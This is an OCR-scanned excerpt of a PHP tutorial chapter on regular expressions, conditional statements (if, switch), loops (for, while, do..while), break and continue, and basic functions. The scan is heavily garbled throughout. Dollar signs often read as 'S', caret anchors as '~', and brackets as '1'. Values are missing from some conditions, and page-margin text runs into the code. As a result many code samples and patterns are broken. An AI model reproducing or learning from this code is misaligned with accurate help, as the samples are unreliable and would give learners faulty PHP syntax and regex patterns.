Sometimes you need to compare character strings to see whether they fit
certain characteristics, rather than to see whether they match exact values.
For example, you might want to identify strings that begin with S or strings
that have numbers in them. For this type of comparison, you compare the
string to a pattern. These patterns are called regular expressions.

You’ve probably used some form of pattern matching in the past. When you
use an asterisk (*) as a wild card when searching for files (dir ex*.doc,
for example), you're pattern matching. For example, ex* . txt is a pattern.
Any string that begins with ex and ends with . txt, with any characters in
between the ex and the . txt, matches the pattern. The strings exam. txt,
ex33.txt, and ex3x4 . txt all match the pattern. Using regular expressions
is just a more powerful variation of using wild cards.

One common use for pattern matching is to check the input from a web page
form. If the information input doesn’t match a specific pattern, it might not
be something you want to store in your database. For example, if the user
types a ZIP code into your form, you know the format needs to be five numbers
or a ZIP + 4. So, you can check the input to see whether it fits the pattern. If it
doesn’t, you know it isn’t a valid ZIP code, and you can ask the user to type
in the correct information.

Regular expressions are used for pattern matching in many situations. Many
Linux commands and programs, such as grep, vi, or sed, use regular
expressions. Many applications, such as text editors and word processors,
allow searches using regular expressions.

PHP provides support for Perl-compatible regular expressions. The following
sections describe some basic Perl-compatible regular expressions, but much
more complex and powerful pattern matching is possible. See www . php .
net/manual/en/reference.pcre.pattern.syntax.php for further
explanation of Perl-compatible regular expressions.

Using special characters in patterns
Patterns consist of literal characters and special characters.

4+ Literal characters are normal characters, with no special meaning. An e
is an e, for example, with no meaning other than that it’s one of 26 letters
in the alphabet.

4+ Special characters, on the other hand, have special meaning in the pat-
tern, such as the asterisk (*) when used as a wild card. Table 2-2 shows
the special characters that you can use in patterns.
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Table 2-2 Special Characters Used in Patterns
Character Meaning Example Match Not a
Match
~ Beginning of ~c cat my cat
line.

S End of line. c$ tic stick
Any single Any string a, |
character. that con-

tains at
least two
characters

? The preceding mea?n mean, men moan
character is
optional.

() Groups literal m(ea)n mean men, mn
characters
together.

[ ] Encloses a set mlealn men, man mean,
of optional lit- mn
eral characters.

- Represents all mla-cln man, mbn, mdn,
the characters mcn mun,
between two maan
characters.

+ One or more of door doorl11, door,
the preceding [1-3]+ door131 doorbb
items.

* Zero or more door door, door4,
of the preced- [1-31* door311 door445
ing items.

{, 1} The starting a{2,5} aa, aaaaa a, Xx3
and ending
numbers of a
range of
repetitions.

\ The following m\ *n m*n men,
character is mean
literal.

(] | A set of alter- (Tom | Tommy) Tom, Thomas,

) native strings. Tommy To
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Considering some example patterns

Literal and special characters are combined to make patterns, sometimes
long, complicated patterns. A string is compared with the pattern, and if
it matches, the comparison is true. Some example patterns follow, with a
breakdown of the pattern and some sample matching and non-matching
strings.

Example 1
~[A-Za-z].*

This pattern defines strings that begin with a letter and have these two
parts:

4+ +[A-Za-z]: The first part of the pattern dictates that the beginning of
the string must be a letter (either upper- or lowercase).
4+ .*: The second part of the pattern tells PHP the string of characters can

be one or more characters long, including numbers, spaces, or anything.

The expression ~ [A-Za-z] . * matches the following strings: play it
again, Sam, 4 times, and I.

The expression ~ [A-Za-z] . * does not match the following strings: 123
and ?.

Example 2
Dear (Kim|Rikki)

This pattern defines two alternate strings and has these two parts:

4+ Dear: The first part of the pattern is just literal characters followed by a
space.

4+ (Kim|Rikki): The second part defines either Kim or Rikki as matching
strings.

The expression Dear (Kim|Rikki) matches the following strings: Dear
Kimand My Dear Rikki.

The expression Dear (Kim|Rikki) does not match the following strings:
Dear Bobby and Kim.

Example 3
~10-91{5} (\-[0-91{4})>?$
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This pattern defines any ZIP code and has several parts:

4+ 4[0-9]{5}: The first part of the pattern describes any string of five
numbers.

+

\-: The backslash indicates that the hyphen is a literal.

4 [0-9]1{4}: This part of the pattern tells PHP that the next characters
should be a string of numbers consisting of four characters.

4+ ( )?:These characters group the last two parts of the pattern and make
them optional.

4+ $: The dollar sign dictates that this string should end (no characters are
allowed after the pattern).

The expression ~ [0-91 {5} (\-[0-9]{4}) ?$ matches the following strings:
90001 and 90002-4323.

The expression ~[0-9]1{5} (\-[0-91{4}) ?$ does not match the following
strings: 9001 and 12-4321.

Example 4

~.+@.+\.com$

This pattern defines any string with @ embedded that ends in . com. In other
words, it defines a common (but not the only) format for an e-mail address.
This expression has several parts:

4+ +.+: The first part of the pattern describes any string of one or more
characters that precede the @.

4+ @: This is a literal @ (“at” sign). @ is not a special character and does not
need to be preceded by \.

4+ .+: This is any string of one or more characters.
4+ \.:The slash indicates that PHP should look for a literal dot.
4+ com$: This defines the literal string com at the end of the string, and the

$ marks the end of the string.

The expression . +@. +\ . com$ matches the following strings: you@
yourcompany . com and johndoe@somedomain. com.

The expression ~.+@.+\ .com$ does not match the following strings: you@
yourcompany .net, you@.com, and @you. com.

Using PHP functions for pattern matching

You can compare whether a pattern matches a string with the preg_match
function. The general format is as follows:

preg_match("pattern", value) ;
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The pattern must be enclosed in a pair of delimiters — characters that
enclose the pattern. Often, the forward slash (/) is used as a delimiter. How-
ever, you can use any nonalphanumeric character, except the backslash (\).
For example, to check the name that a user typed in a form, match the pat-
tern with the name (stored in the variable $name), as follows:

preg_match("/A[A-Za-z' -]1+$/", Sname)
The pattern in this statement does the following:

4+ Encloses the pattern in forward slashes (/).

4+ Uses ~ and $ to signify the beginning and end of the string, respectively.
That means that all the characters in the string must match the pattern.

4+ Encloses all the literal characters that are allowed in the string in [ ].
No other characters are allowed. The allowed characters are upper- and
lowercase letters, an apostrophe ('), a blank space, and a hyphen (-).

You can specify a range of characters by using a hyphen within the [ ].
When you do that, as in A-Z, the hyphen doesn’t represent a literal
character. Because you also want a hyphen included as a literal char-
acter that is allowed in your string, you need to add a hyphen that isn’t
between any two other characters. In this case, the hyphen is included
at the end of the list of literal characters.

4+ Follows the list of literal characters in the [ ] with a +. The plus sign
means that the string can contain any number of the characters inside
the [ 1, but must contain at least one character.

If the pattern itself contains forward slashes, the delimiter can’t be a forward
slash. You must use another character for the delimiter, such as:

preg_match ("#" [A-Za-z' -/]+S$#", Sname)

Joining multiple comparisons

Often you need to ask more than one question to determine your condition.
For example, suppose your company offers catalogs for different products
in different languages. You need to know which type of product catalog the
customer wants to see and which language he or she needs to see it in. This
requires you to join comparisons, which have the following the general format:

comparisonl and|or|xor comparison2 and|or|xor comparison3
and|or|xor ...

Comparisons are connected by one of the following three words:

4 and: Both comparisons are true.
4+ or: One or both comparisons are true.

4+ xor: Only one of the comparisons is true.
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Table 2-3 shows some examples of multiple comparisons.

Table 2-3 Multiple Comparisons
Condition IsTrue lf. ..
SageBobby == 21 or $ageBobby == 22 Bobby is 21 or 22 years

of age.

SageSally > 29 and $state =="OR" Sally is older than 29 and
lives in Oregon.

$ageSally > 29 or S$state == "OR" Sally is older than 29 or
lives in Oregon or both.

$city == "Reno" xor S$state == "OR" The city is Reno orthe
state is Oregon, but not
both.

$name != "Sam" and $age < 13 The name is anything

except Sam and age is
under 13 years of age.

You can string together as many comparisons as necessary. The compari-
sons using and are tested first, the comparisons using xor are tested next,
and the comparisons using or are tested last. For example, the following

condition includes three comparisons:

SresCity == "Reno" or SresState == "NV" and $name == "Sally"

If the customer’s name is Sally and she lives in Nevada (NV), this statement
is true. The statement is also true if she lives in Reno, regardless of what
her name is. This condition is not true if she lives in NV but her name is not
Sally. You get these results because the script checks the condition in the

following order:

1. The and is compared.

The script checks $resState to see whether it equals Nv and checks
$name to see whether it equals Sally. If both match, the condition is
true, and the script doesn’t need to check or. If only one or neither of
the variables equals the designated value, the testing continues.

2. The or is compared.

The script checks $resCity to see whether it equals Reno. If it does,
the condition is true. If it doesn’t, the condition is false.
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You can change the order in which comparisons are made by using paren-
theses. The connecting word inside the parentheses is evaluated first. For
example, you can rewrite the preceding statement with parentheses, as follows:

(SresCity == "Reno or SresState == "NV") and S$Sname == "Sally"

The parentheses change the order in which the conditions are checked. Now
the or is checked first because it’s inside the parentheses. This condition
statement is true if the customer’s name is Sally and she lives in either Reno
or NV. You get these results because the script checks the condition as follows:

1. The or is compared.

The script checks to see whether $resCity equals Reno or $SresState
equals Nv. If it doesn’t, the entire condition is false, and testing stops. If
it does, this part of the condition is true. However, the comparison on
the other side of the and must also be true, so the testing continues.

2. The and is compared.

The script checks $name to see whether it equals Sally. If it does, the
condition is true. If it doesn’t, the condition is false.

\\3

Use parentheses liberally, even when you believe you know the order of the
comparisons. Unnecessary parentheses can’t hurt, but comparisons that
have unexpected results can.

If you're familiar with other languages, such as C, you might have used | |
(for or) and && (for and) in place of the words. The | | and && work in PHP
as well. The statement Sa < $b && $c > $bis just as valid as the state-
ment $a < $b and $c > $b.The || is checked before or, and the &% is
checked before and.

Using Conditional Statements

A conditional statement executes a block of statements only when certain
conditions are true. Here are two useful types of conditional statements:

Book IV
Chapter 2

4+ An if statement: Sets up a condition and tests it. If the condition is true,
a block of statements is executed.

4+ A switch statement: Sets up a list of alternative conditions. It tests for
the true condition and executes the appropriate block of statements.
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We tell you how to use both of those conditional statements in the text that
follows.
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Using if statements

An if statement tests conditions, executing a block of statements when a
condition is true. The following sections discuss how to build an if statement
using the appropriate format, create an if statement for a false condition,
and nest one if statement within another.

Building if statements
The general format of an i f conditional statement is as follows:

if ( condition )
{

block of statements
}
elseif ( condition )
{

block of statements

}

else

{
block of statements

}
The if statement consists of three parts:

4 if: This part is required. Only one if is allowed. It tests a condition:

e [fthe condition is true: The block of statements is executed. After the
statements are executed, the script moves to the next instruction
following the conditional statement; if the conditional statement con-
tains any elseif or else sections, the script skips over them.

e [fthe condition is not true: The block of statements is not executed.
The script skips to the next instruction, which can be an elseif, an
else, or the next instruction after the if conditional statement.

4 elseif: This part is optional. You can use more than one elseif if you
want. An elseif also tests a condition:

¢ [fthe condition is true: The block of statements is executed. After exe-
cuting the block of statements, the script goes to the next instruction
following the conditional statement; if the i f statement contains any
additional elseif sections or an else section, the script skips over
them.

e [f the condition is not true: The block of statements is not executed.
The script skips to the next instruction, which can be an elseif, an
else, or the next instruction after the i f conditional statement.

4+ else: This part is also optional. Only one else is allowed. This part
doesn’t test a condition, but rather, it executes the block of statements.
The script enters the else section only when the if section and all the
elseif sections are not true.
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Here’s an example of how to build an if statement. Pretend you're a
teacher. The following if statement, when given a test score, sends your
student a grade and a snappy little text message. It uses all three parts of the
if statement (if, elseif, and else), as follows:

if ($score > 92 )
{
Sgrade = "A";
Smessage = "Excellent!";
}
elseif (Sscore <= 92 and S$score > 83 )
{
Sgrade = "B";
Smessage = "Good!";
}
elseif ($score <= 83 and $score > 74 )
{
Sgrade = "C";
Smessage = "Okay";
}
elseif ($score <= 74 and $score > 62 )

{

Sgrade = "D";
Smessage = "Uh oh!";
}
else
{
Sgrade = "F";
Smessage = "Doom is upon you!";

}
echo S$message."\n";
echo "Your grade is S$grade\n";

The if conditional statement proceeds as follows:

1. The value in $score is compared to 92.

If Sscore is greater than 92, $grade is set to A, $Smessage is set to Book IV
Excellent!, and the script skips to the echo statement. If $score is Chapter 2
92 or less, $grade and $Smessage are not set, and the script skips to the

elseif section.

w
2. The value in $score is compared to 92 and to 83. 3 %
=

If Sscoreis 92 or less and greater than 83, $Sgrade and $message are ﬁ'é
set, and the script skips to the echo statement. If $score is 83 or less, =
$grade and $message are not set, and the script skips to the second o

elseif section.
3. Thevalue in $score is compared to 83 and to 74.

If Sscore is 83 or less and greater than 74, Sgrade and $message
are set, and the script skips to the echo statement. If $scoreis 74 or
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less, sgrade and $Smessage are not set, and the script skips to the next
elseif section.

4. The value in $score is compared to 74 and to 62.

If Sscoreis 74 or less and greater than 62, Sgrade and $Smessage are
set, and the script skips to the echo statement. If $score is 62 or less,
$grade and $Smessage are not set, and the script skips to the else
section.

5. $gradeis settoF, and Smessage is set to Doom is upon you!.

The script continues to the echo statement.

When the block to be executed by any section of the if conditional statement
contains only one statement, the curly braces are not needed. For example,
say the preceding example had only one statement in the blocks, as follows:

if (Sgrade > 92 )
{

Sgrade = "A";
}

You could write it as follows:

if (Sgrade > 92 )
Sgrade = "A";

This shortcut can save some typing. However, when you’re using several if
statements, you should include the curly braces because leaving them out
can lead to confusion.

Negating if statements

You can write an if statement so that the statement block is executed when
the condition is false by putting an exclamation point (!) at the beginning of
the condition. For example, you can use the following i f statement:

if (preg_match("/~S[a-z]*/",S$Sstring))
{

Slist[]=$string."\n";
}

This if statement creates an array of strings that begin with S. More specifi-
cally, if $string matches a pattern that specifies one uppercase S at the
beginning, followed by a number of lowercase letters, the condition is true and
the statement block is executed. However, if you were to place an exclamation
point at the beginning of the condition, things would change considerably.
For example, say you use the following statements instead:
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if (!preg match("/"S[a-z]*/",$string)
{

$list[]=$string."\n";
}

In this case, the array $1ist contains all the strings except those that begin
with S. Because ! appears at the beginning of the condition, the condition is
“$string does not match a pattern that begins with S.” So, when $string
does not begin with S, the condition is true.

Nesting if statements

You can have an if conditional statement inside another if conditional
statement. Putting one statement inside another is called nesting. For example,
suppose you need to contact all your customers who live in Idaho. You plan
to send e-mail to those who have e-mail addresses and send letters to those
who don’t have e-mail addresses. You can identify the groups of customers
by using the following nested if statements:

if ( ScustState == "ID" )
{
if ( $Emailadd = "" )
{

ScontactMethod = "letter";
}
else
{
ScontactMethod = "email";
}
}
else
{
ScontactMethod = "none needed";

}

These statements first check to see whether the customer lives in Idaho. If
the customer does live in Idaho, the script tests for an e-mail address. If the
e-mail address is blank, the contact method is set to 1etter. If the e-mail
address is not blank, the contact method is email. If the customer doesn’t
live in Idaho, the else section sets the contact method to indicate that the
customer won'’t be contacted at all.

Using switch statements

For most situations, the i f conditional statement works best. However, some-
times you have a list of conditions and want to execute different statements
for each condition. For example, suppose your script computes sales tax.
How do you handle the different state sales tax rates? The switch statement
was designed for such situations.
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The switch statement tests the value of one variable and executes the
block of statements for the matching value of the variable. The general
format is as follows:

switch ( S$Svariablename )
{
case value
block of statements;
break;
case value
block of statements;
break;
default:
block of statements;
break;

}

The switch statement tests the value of $variablename. The script then
skips to the case section for that value and executes statements until it
reaches a break statement or the end of the switch statement. If there is
no case section for the value of $variablename, the script executes the
default section. You can use as many case sections as you need. The
default section is optional. If you use a default section, it’s customary to
put the default section at the end, but as far as PHP is concerned, it can go
anywhere.

The following statements set the sales tax rate for different states:

switch ( ScustState )
{
case "OR"
Ssalestaxrate = 0;
break;
case "CA"
Ssalestaxrate = 1.0;
break;
default:
Ssalestaxrate = .5;
break;

}

Ssalestax = SorderTotalCost * S$salestaxrate;

In this case, the tax rate for Oregon is 0, the tax rate for California is 100
percent, and the tax rate for all the other states is 50 percent. The switch
statement looks at the value of ScustState and skips to the section that
matches the value. For example, if ScustState is TX, the script executes
the default section and sets $salestaxrate to . 5. After the switch
statement, the script computes $salestax at .5 times the cost of the
order.
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The break statements are essential to end the case section. If a case sec-
tion does not include a break statement, the script does not stop executing
statements at the end of the case section. The script continues executing
statements past the end of the case section, on to the next case section,
and continues until it reaches a break statement or the end of the switch
statement. This is a problem for every case section except the last one
because it will execute sections following the appropriate section.

<P In some rare instances, you may want two case sections to execute when
the switch variables match the value of the first case section, so you
can leave out the break statement in the first case section. This is not a
common situation, but it can occasionally solve a problem.

‘X\Y—N\BEH . . . , .
& The last case section in a switch statement doesn’t actually require a
break statement. You can leave it out. However, it’s a good idea to include it
for clarity and consistency.

Repeating Actions with Loops

Loops are used frequently in scripts to set up a block of statements that
repeat. The loop can repeat a specified number of times. For example, a

loop that echoes all the state capitals in the United States needs to repeat 50
times. Or the loop can repeat until a certain condition is met. For example, a
loop that echoes the names of all the files in a directory needs to repeat until
it runs out of files, regardless of how many files there are.

Here are three types of loops:

4+ A for loop: Sets up a counter; repeats a block of statements until the
counter reaches a specified number.

4+ A while loop: Sets up a condition; checks the condition, and if it’s true,
repeats a block of statements until the condition becomes false.

4+ A do..while loop: Sets up a condition; executes a block of statements; Book IV
checks the condition, and if it’s true, repeats the block of statements Chapter 2
until the condition becomes false.

We describe each of these loops in detail in the following few sections.

Using for loops

The most basic for loops are based on a counter. You set the beginning
value for the counter, set the ending value, and set how the counter is incre-
mented each time the statement block is executed. We tell you how to build
that basic loop, and then how to nest one loop inside another and also build
more sophisticated loops.

T TRIN
dHd Buipjing



33 7 Repeating Actions with Loops

Building for loops

The general format of a basic for loop is as follows:

for (startingvalue; endingcondition; increment)
{
block of statements;

}
Within the for statement, you need to fill in the following values:

4 startingvalue: The startingvalueis a statement that sets up a vari-
able to be your counter and sets it to your starting value. For example, the
statement $i=1; sets $i as the counter variable and sets it equal to 1.
Frequently, the counter variable is started at 0 or 1. The starting value can
be a number, a combination of numbers (such as 2 + 2), or a variable.

4 endingcondition: The endingconditionis a statement that sets
your ending value. As long as this statement is true, the block of state-
ments keeps repeating. When this statement is not true, the loop ends.
For example, the statement $i<10; sets the ending value for the loop to
10. When $1i is equal to 10, the statement is no longer true (because $i
is no longer less than 10), and the loop stops repeating. The statement
can include variables, such as $i<$size;.

4 increment: This statement increments your counter. For example, the
statement $i++; adds 1 to your counter at the end of each block of
statements. You can use other increment statements, such as $i=+1;
or $i--;.

A basic for loop sets up a variable, like $1, that is used as a counter. This
variable has a value that changes during each loop. The variable $i can be
used in the block of statements that is repeating. For example, the following
simple loop displays Hello World! three times:

for ($i=1;$i<=3;$i++)
{

echo "$i. Hello World!<br />";
}

The following is the output from these statements:

1. Hello World!
2. Hello World!
3. Hello World!

Nesting for loops

You can nest for loops inside for loops. Suppose you want to print the
multiplication tables from 1 to 9. You can use the following statements:
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for($i=1;%$1<=9;%$i++)
{
echo "\nMultiply by $i \n";
for($3=1;$3<=9;$j++)
{
$result = $1i * $3;
echo "$1 x $j = Sresult\n";

}
The output is as follows:

Multiply by 1

1 x1=1
1 x 2 =2
1 x8 =28
1 x 9 =9

Multiply by 2

2 x 1 =2
2 x 2 =4
2 x 8 =16
2 x 9 =18

Multiply by 3
3 x 1 =23

And so on.

Designing advanced for loops

The structure of a for loop is quite flexible and allows you to build loops
for almost any purpose. Although the basic for loop discussed so far in this
section has one statement in its starting, conditional, and increment sec-
tions, the general format allows more than one statement in each section.
The general format is:

for (beginning statements; conditional statements;
ending statements)

{
block of statements;

}
The statements within a for loop have the following roles:
4+ The beginning statements execute once at the start of the loop. They

can be statements that set any needed starting values or other statements
that you want to execute before your loop starts running.
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4+ The conditional statements are tested for each iteration of your loop.

4+ The ending statements execute once at the end of the loop. They can be
statements that increment your values or any other statements that you
want to execute at the end of your loop.

Each statement section is separated by a semicolon (;). Each section can
contain as many statements as needed, separated by commas. Any section
can be empty.

The following loop has statements in all three sections:

$t = 0;
for ($i=0,$j=1;%t<=4;$i++,S$j++)
{
$t o= $1i + $3;
echo "St<br />";
}

In this example, $1=0 and $j=1 are the beginning statements, $t<=4 is the
conditional statement, and $i++ and $j++ are the ending statements.

The output of these statements is as follows:

1
3
5

The loop is executed in the following order:

1. The beginning section containing two statements is executed.
$1iis setto 0, and $j is set to 1.
2. The conditional section containing one statement is evaluated.

Is st less than or equal to 4? Yes, so the statement is true. The loop
continues to execute.

3. The statements in the statement block are executed.

$t becomes equal to $i plus $3j, whichis 0 + 1, which equals 1. Then
$t is echoed to give the output 1.

4. The ending section containing two statements ($i++ and $j++) is
executed.

Both $i and $3j are incremented by 1, so $1 now equals 1, and $j now
equals 2.

5. The conditional section is evaluated.

Is st less than or equal to 4? Because $t is equal to 1 at this point, the
statement is true. The loop continues to execute.
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The statements in the statement block are executed.

$t becomes equal to $i plus $3j, whichis 1 + 2, which equals 3. Then
$t is echoed to give the output 3.

The ending section containing two statements ($i++ and $j++) is
executed.

Both $i and $3j are incremented by 1, so $i now equals 2, and $j now
equals 3.

The conditional section is evaluated.

Is st less than or equal to 4? Because $t now equals 3, the statement is
true. The loop continues to execute.

The statements in the statement block are executed.

$t becomes equal to $i plus $3j, whichis 2 + 3, which equals 5. Then
$t is echoed to give the output 5.

The ending section containing two statements ($i++ and $j++) is
executed.

Both $1i and $j are incremented by 1, so $i now equals 2, and $j now
equals 3.

The conditional section is evaluated.

[s st less than or equal to 4? Because $t now equals 5, the statement is
not true. The loop doesn’t continue to execute. The loop ends, and the
script continues to the next statement after the end of the loop.

Using while loops

A while loop continues repeating as long as certain conditions are true. The
loop works as follows:

1. You set up a condition.

2. The condition is tested at the top of each loop.

3. If the condition is true, the loop repeats. If the condition is not true, the

loop stops.

The following is the general format of a while loop:

while ( condition )

{

}

block of statements

T TRIN
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The following statements set up a while loop that looks through an array
for an apple:

Sfruit = array ( "orange", "apple", "grape" );
Stestvar = "no";
$k = 0;
while ( S$testvar != "yes" )
{

if ($Sfruit[sk] == "apple" )

{

Stestvar = "yes";

echo "apple\n";
}
else
{
echo "S$Sfruit[$k] is not an apple\n";
}
Sk++;
}

These statements generate the following output:

orange is not an apple
apple

The script executes the statements as follows:

~

. The variables are set before starting the loop.

$fruit is an array with three values, $testvar is a test variable set to
"no", and $k is a counter variable set to 0.

2. The loop starts by testing whether $testvar != "yes" is true.

Because $Stestvar was set to "no", the statement is true, so the loop
continues.

3. The condition in the if statement is tested.

[s $fruit[$k] == "apple" true? At this point, $k is 0, so the script
checks $fruit[0].Because $fruit[0] is "orange", the statement is
not true. The statements in the i f block aren’t executed, so the script
skips to the else statement.

4. The statement in the else block is executed.

The else block outputs the line "orange is not an apple". Thisis
the first line of the output.

5. ¢kis incremented by one.

Now $k becomes equal to 1.
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6. The bottom of the loop is reached.
Flow returns to the top of the while loop.
7. The condition $testvar != "yes" is tested again.

[s Stestvar != "yes" true? Because $testvar hasn’t been changed
and is still set to "no™", it is true, so the loop continues.

8. The condition in the if statement is tested again.

[s $fruit[$k] == "apple" true? At this point, $k is 1, so the script
checks $fruit[1].Because $fruit[1] is "apple", the statement is
true. So the loop enters the i f block.

9. The statements in the if block are executed.

These statements set Stestvar to "yes" and output "apple". This is
the second line of the output.

10. s$xis incremented again.

Now $k equals 2.
11. The bottom of the loop is reached again.

Once again, the flow returns to the top of the while loop.
12. The condition $testvar != "yes" is tested one last time.

[s Stestvar != "yes" true? Because $testvar has been changed
and is now set to "yes", it is not true. The loop stops.

It’s possible to write a while loop that is infinite — that is, a loop that loops
forever. You can easily, without intending to, write a loop in which the con-
dition is always true. If the condition never becomes false, the loop never
ends. For a discussion of infinite loops, see the section “Avoiding infinite
loops,” later in this chapter.

Using do..while loops

A do. .while loop is very similar to a while loop. Like a while loop, a
do. .while loop continues repeating as long as certain conditions are true.
Unlike while loops, however, those conditions are tested at the bottom of
each loop. If the condition is true, the loop repeats. When the condition is
not true, the loop stops.

The general format for a do. .while loop is as follows:

do
{

block of statements
} while ( condition );

Book IV
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The following statements set up a loop that looks for an apple. This script
does the same thing as the script in the preceding section that uses awhile

loop:
Sfruit = array ( "orange", "apple", "grape" );
Stestvar = "no";
sk = 0;
do
{

if ($fruit[sk] == "apple" )

{

Stestvar = "yes";

echo "apple\n";
}

else

{
echo "S$fruit[$k] is not an apple\n";
}
$k++;
} while ( $testvar != "yes" );

The output of these statements in a browser is as follows:

orange is not an apple
apple

This is the same output shown for the while loop example. The difference
between a while loop and a do. .while loop is where the condition is
checked. In a while loop, the condition is checked at the top of the loop.
Therefore, the loop will never execute if the condition is never true. In

the do. .while loop, the condition is checked at the bottom of the loop.
Therefore, the loop always executes at least once, even if the condition is
never true.

For example, in the preceding loop that checks for an apple, suppose the
original condition is set to yes, instead of no, by using this statement:

Stestvar = "yes";

The condition tests false from the beginning. It is never true. In a while
loop, there is no output. The statement block never runs. However, in a
do. .while loop, the statement block runs once before the condition is
tested. Thus, the while loop produces no output, but the do. .while loop
produces the following output:

orange is not an apple
The do. .while loop produces one line of output before the condition is

tested. It doesn’t produce the second line of output because the condition
tests false.
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Avoiding infinite loops

You can easily set up loops so that they never stop. These are called infinite
loops. They repeat forever. However, seldom does anyone create an infinite
loop intentionally. It’s usually a mistake in the programming. For example,

a slight change to the script that sets up a while loop can make it into an
infinite loop.

Here is the script shown in the section “Using while loops,” earlier in this
chapter, with a slight change:

$fruit = array ( "orange", "apple", "grape" );
Stestvar = "no";
while ( S$Stestvar != "yes" )
{

$k = 0;

if ($fruit[sk] == "apple" )

{

Stestvar = "yes";

echo "apple\n";
}
else
{
echo "$fruit[$k] is not an apple\n";
}
Sk++;
}

The small change is moving the statement $k = 0; from outside the loop
to inside the loop. This small change makes it into an endless loop. This
changed script has the following output:

orange 1s not an apple
orange is not an apple
orange is not an apple
orange 1s not an apple

Book IV
Chapter 2
This will repeat forever. Every time the loop runs, it resets $k to 0. Then it

gets $fruit [0] and echoes it. At the end of the loop, $k is incremented to 1.
However, when the loop starts again, $k is set back to 0. Consequently, only ®
the first value in the array, orange, is ever read. The loop never gets to the ©=
apple, and $Stestvar is never set to "yes". The loop is endless. %.é'
“ U
Don’t be embarrassed if you write an infinite loop. We guarantee that the 3

best programming guru in the world has written many infinite loops. It isn’t a
big deal. If you're testing a script and get output repeating endlessly, there’s
no need to panic. Do one of the following:
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4+ If you’re using PHP on a web page: Wait. It will stop by itself in a short
time. The default time is 30 seconds, but the timeout period might have
been changed by the PHP administrator. You can also click the Stop
button on your browser to stop the display in your browser.

4+ If you’re using PHP CLI: Press Ctrl+C (or Cmd+C on a Mac). This stops
the script from running. Sometimes the output will continue to display a
little longer, but it will stop very shortly.

Then figure out why the loop is repeating endlessly and fix it.

A common mistake that can result in an infinite loop is using a single equal
sign (=) when you mean to use double equal signs (==). The single equal
sign stores a value in a variable; the double equal signs test whether two
values are equal. The following condition using a single equal sign is always
true:

while (Stestvar = "yes")

The condition simply sets $testvar equal to "yes". This isn’'t a question
that can be false. What you probably meant to write is this:

while (Stestvar == "yes")

This is a question asking whether Stestvar is equal to "yes", which can
be answered either true or false.

Another common mistake is to leave out the statement that increments the
counter. For example, in the script earlier in this section, if you leave out the
statement $k++;, $kis always 0, and the result is an infinite loop.

Breaking out of a loop

Sometimes you want your script to break out of a loop. PHP provides two
statements for this purpose:

4+ break: Breaks completely out of a loop and continue with the script
statements after the loop.

4 continue: Skips to the end of the loop where the condition is tested.
If the condition tests positive, the script continues from the top of the
loop.

The break and continue statements are usually used in conditional
statements. In particular, break is used most often in switch statements,
discussed earlier in this chapter.
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The following statements show the difference between continue and
break. This first chunk of code shows an example of the break statement:

Scounter = 0;
while ( $counter < 5 )
{
Scounter++;
If ( Scounter == )
{
echo "break\n";
break;
}
echo "Last line in loop: counter=$counter\n";
}
echo "First line after loop\n\n";

The output of this statement is the following:

Last line in loop: counter=1
Last line in loop: counter=2
break

First line after loop

Notice that the first loop ends at the break statement. It stops looping and
jumps immediately to the statement after the loop. That isn’t true of the
continue statement.

The following code gives you an example of the continue statement:

Scounter = 0;
while ( Scounter < 5 )
{
Scounter++;
If ( Scounter == )
{
echo "continue\n";
continue;
}
echo "Last line in loop: counter=$counter\n";
}
echo "First line after loop\n";

The output of this statement is the following:

Last line in loop: counter=1
Last line in loop: counter=2
continue

Last line in loop: counter=4
Last line in loop: counter=5
First line after loop
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Unlike the break statement loop, this loop does not end at the continue
statement. It just stops the third repeat of the loop and jumps back up to the
top of the loop. It then finishes the loop, with the fourth and fifth repeats,
before it goes to the statement after the loop.

One use for break statements is insurance against infinite loops. The follow-
ing statements inside a loop can stop it at a reasonable point:

Stestdinfinity++;
if (Stestd4infinity > 100 )
{

break;

}

If you're sure that your loop should never repeat more than 100 times,
use these statements to stop the loop if it becomes endless. Use whatever
number seems reasonable for the loop you're building.

Using Functions

Applications often perform the same task at different points in the script or
in different scripts. Functions are designed to allow you to reuse the same
code in different locations. A function is a group of PHP statements that per-
form a specific task. You can use the function wherever you need to perform
the task.

For example, suppose you display your company logo frequently throughout
your website with the following statements:

echo "<p><img src='Images/logo.jpg' width='50' height='50"
hspace='10"' align='left' /></p>";

echo "<p style='font-size: x-large'>My Fine Company</p>";

echo "<p style='font-style: italic'>quality products</p>";

Rather than typing this code in every place in your scripts where you want
to display your logo, you can create a function that contains the statements
and name it display_logo. Then, you can just use the function whenever
you want to display your logo. Using the function looks like this:

display_logo() ;

You can see that using this one line saves a lot of typing and is easier to read
and understand than typing the echo statements everywhere the logo is
needed. In the sections that follow, we tell you how to create and call a func-
tion, use variables within functions, pass and return values to and from
functions, and simplify your work with PHP’s built-in functions.
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Creating a function

You can create a function by putting the code into a function block. The
general format is as follows:

function functionname/()
{
block of statements;
return;

}

For example, you can create the function display_logo () that we discuss
in the preceding section with the following statements:

function display_logo ()
{
echo "<p><img src='Images/logo.Jjpg' width='50' height='50"
hspace='10"' align='left' /></p>";
echo "<p style='font-size: x-large'>My Fine Company</p>";
echo "<p style='font-style: italic'>quality products</p>";
return;

}

You can then call the function anywhere you want to display the logo, as
follows:

display_logo () ;

The return statement at the end of the preceding function stops the function
and returns control to the main script. A return statement isn’t needed at
the end of the function, because the function stops at the end anyway and
returns control to the calling script. However, the return statement makes
the function easier to understand. The return statement is discussed in
more detail in the section “Returning a value from a function,” later in this
chapter.

You can create a function with a function-definition statement anywhere in
the script, but the usual practice is to put all the functions together at the
beginning or the end of the script. Functions that you plan to use in more
than one script can be defined in a separate file that you include in any
scripts that need to use the functions. Including files in scripts is discussed
in the section, “Organizing Scripts,” later in this chapter.

Using variables in functions

You can create and use a variable inside your function. Such a variable is

called local to the function. However, the variable isn’t available outside of
the function; it isn’t available to the main script. If you want to use the vari-
able outside the function, you have to make the variable global, rather than
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local, by using a global statement. For instance, the variable $Sname is
created in the following function:

function format_name ()

{

Sfirst_name = "John";
$last_name = "Smith";
Sname = S$last_name, ".$first_name;

}
format_name () ;
echo "S$name";

These statements don’t produce any output. In the echo statement, $Sname
doesn’t contain any value. The variable $name was created inside the function,
so it doesn’t exist outside the function.

You can create a variable inside a function that does exist outside the function
by using the global statement. The following statements contain the same
function with a global statement added:

function format_name ()

{
global S$name;

$first_name = "John";
S$last_name = "Smith";
Sname = $last_name . ", " . $first_name;

}
format_name () ;
echo "S$name";

The script now echoes this:
Smith, John

You must make the variable global before you can use it. If the global state-
ment follows the $name assignment statement, the script doesn’t produce any
